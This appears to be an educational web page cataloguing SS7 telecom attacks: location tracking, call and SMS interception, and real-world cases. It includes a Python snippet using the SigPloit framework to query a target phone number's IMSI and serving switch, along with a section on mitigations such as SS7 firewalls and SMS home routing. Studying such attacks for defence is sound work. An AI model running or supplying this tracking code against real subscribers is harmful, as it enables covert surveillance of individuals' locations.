Advanced SS7 Exploitation Database
Comprehensive database of SS7 exploitation techniques with real-world attack scenarios and advanced persistent threat methods
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Advanced SS7 Exploitation Overview
Comprehensive overview of advanced SS7 exploitation techniques and attack methodologies
This expanded database contains advanced SS7 exploitation techniques used in real-world scenarios, including nation-state attacks, corporate espionage, and sophisticated surveillance operations. Understanding these advanced techniques is crucial for implementing comprehensive defenses against modern threats.
The database includes techniques discovered by leading security researchers, documented APT campaigns, and advanced persistent tracking methods used by intelligence agencies and criminal organizations.
Critical Exploits
3
High Impact
0
Total Exploits
3
Real Cases
3
Advanced Exploit Categories
Advanced location tracking and surveillance techniques
Sophisticated call and SMS interception techniques
Advanced Exploitation Techniques
Real-World Attack Cases
Impact
High-profile privacy breach demonstrating real-world SS7 exploitation
Techniques Used
Source: CBS 60 Minutes investigation
Impact
Enabled sophisticated surveillance operations against journalists and activists
Techniques Used
Source: Citizen Lab research
Impact
Military intelligence compromise and operational security breach
Techniques Used
Source: Security research reports
Practical Code Examples
Prerequisites
- SS7 network access
- Target's MSISDN
- Valid Global Title for spoofing
- SigPloit framework or equivalent
Implementation Code
1from sigploit.ss7.tracking import sendRoutingInfoForSM
2
3# Target MSISDN (phone number)
4target = '31612345678'
5
6# Attacker's GT (Global Title)
7attacker_gt = '31111111111'
8
9# SS7 connection parameters
10ss7_params = {
11 'sctp_port': 2905,
12 'target_ip': '10.0.0.1',
13 'source_pc': 1,
14 'destination_pc': 2,
15 'source_ssn': 8,
16 'destination_ssn': 6
17}
18
19# Execute the attack
20result = sendRoutingInfoForSM.track(
21 target_msisdn=target,
22 attacker_gt=attacker_gt,
23 **ss7_params
24)
25
26print(f"Target IMSI: {result.get('imsi')}")
27print(f"Serving MSC: {result.get('msc')}")
28print(f"Serving VLR: {result.get('vlr')}")Mitigation
Defense Strategy
Comprehensive Mitigation Strategies
SS7 firewalls can be configured to block unauthorized MAP operations, filter messages based on source Global Title, and implement category-based filtering for high-risk operations. Modern SS7 firewalls use machine learning to detect anomalous patterns and can integrate with threat intelligence feeds.
SMS Home Routing creates a separation between the SMS service center and the HLR, preventing attackers from using SendRoutingInfoForSM to locate subscribers. This architecture requires SMS messages to be routed through the home network's SMS gateway.
Implementing security controls at the SS7-Diameter boundary to prevent attacks from legacy networks affecting modern 4G/5G infrastructure. This includes protocol translation security and message validation.
Deploying monitoring systems that can detect unusual patterns in SS7 signaling traffic and alert operators to potential attacks in progress. Modern systems use AI/ML for behavioral analysis and can correlate events across multiple network elements.
Deploy mutual authentication between network elements, implement digital signatures for critical operations, and use time-based tokens to prevent replay attacks. This includes implementing IPSec tunnels for SS7 over IP networks.
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